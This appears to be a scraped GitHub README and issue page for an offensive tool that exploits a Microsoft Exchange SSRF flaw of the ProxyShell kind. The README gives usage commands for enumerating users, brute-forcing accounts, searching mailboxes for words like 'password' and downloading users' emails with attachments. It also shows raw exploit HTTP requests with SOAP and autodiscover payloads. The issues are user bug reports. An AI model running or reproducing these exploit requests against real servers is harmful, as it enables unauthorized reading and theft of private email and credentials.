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exchange_ssrf's Introduction

Some Attacks of Exchange SSRF

This project is heavily replicated in ProxyShell, NtlmRelayToEWS

https://mp.weixin.qq.com/s/GFcEKA48bPWsezNdVcrWag

Get 100 Email Users Without By Brute 无需爆破获取100条邮箱用户

run 运行程序:

python Exchange_SSRF_Attacks.py --target mail.exchange.com --action Get

result 结果:

Email Address  : [email protected]
Email Address  : [email protected]
Email Address  : [email protected]
Email Address  : [email protected]

Brute Account 爆破可能存在的用户

file with emails 需要尝试的邮箱文件:

/tmp/emails.txt:

run 运行程序:

python Exchange_SSRF_Attacks.py --target mail.exchange.com --action Brute --file /tmp/emails.txt

result 结果:

image-20210817172750895

爆破用户的几个接口 一:

POST /autodiscover/[email protected]/ews/exchange.asmx HTTP/1.1
Host: mail.exchange.com
User-Agent: Python PSRP Client
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: text/xml
Cookie: Email=autodiscover/[email protected]
Content-Length: 776

<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <m:GetFolder>
            <m:FolderShape>
                <t:BaseShape>Default</t:BaseShape>
            </m:FolderShape>
            <m:FolderIds>
                <t:DistinguishedFolderId Id="inbox">
                    <t:Mailbox>
                        <t:EmailAddress>[email protected]</t:EmailAddress>
                    </t:Mailbox>
                </t:DistinguishedFolderId>
            </m:FolderIds>
        </m:GetFolder>
    </soap:Body>
</soap:Envelope>

用户存在会提示:

Access is denied. Check credentials and try again., 

爆破用户的几个接口 二:

POST /autodiscover/[email protected]/autodiscover/autodiscover.xml?=&Email=autodiscover/[email protected] HTTP/1.1
Host: mail.exchange.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36.
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: text/xml
Content-Length: 369

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
        <Request>
          <EMailAddress>[email protected]</EMailAddress>
          <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
        </Request>
    </Autodiscover>
    

用户不存在会提示:

The email address can't be found.

Search Contacts 搜索联系人

run 运行程序:

python Exchange_SSRF_Attacks.py --target mail.exchange.com --action SearchC --email [email protected] --keyword test

--keyword为你想要搜索的联系人关键词。

result 结果:

Search Mails And Download (include attachment) 搜索邮箱并下载,包括附件

run 运行程序:

python Exchange_SSRF_Attacks.py --target mail.exchange.com --action SearchM --email [email protected] --keyword password

--keyword为你想要搜索的关键词,比如"密码"。

result 结果:

[+] Item [output/password-item-0.eml] saved successfully

keyword关键词可以使用一些邮件语法,比如搜索主题时,可以用--keyword "subject:password"

Download user's emails (include attachment) 下载指定用户的邮件,包括附件

run 运行程序:

python Exchange_SSRF_Attacks.py --target mail.exchange.com --action Download --email [email protected]

result 结果:

[+] Item [output/item-0.eml] saved successfully

image-20210818142426337

图片

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exchange_ssrf's Issues

UserMailbox

is any option to get all UserMailbox LegacyDNs not User LegacyDNs from Active Directory ?

Traceback

Traceback (most recent call last):
File "/home/asus/Exchange_SSRF/exchange_ssrf_attacks.py", line 339, in
Brute_Account(args.target, email)
File "/home/asus/Exchange_SSRF/exchange_ssrf_attacks.py", line 119, in Brute_Account
for item in folderXML.findall(".//t:EmailAddress", exchangeNamespace):
NameError: name 'folderXML' is not defined

what i did wrong

Error on email Action execution

Hey

first of all great tool to get email as majority of exploits only work if you have email.

But here after execution it turns out this. Not sure whats wrong

root@kali:~/Desktop/Exchange_SSRF# python exchange_ssrf_attacks.py --target https://REDACTED --action Get
  File "exchange_ssrf_attacks.py", line 20
    stage1 = requests.post(f"https://{target}/autodiscover/[email protected]/autodiscover/autodiscover.xml?=&Email=autodiscover/[email protected]", headers={
                                                                                                                                                                         ^
SyntaxError: invalid syntax

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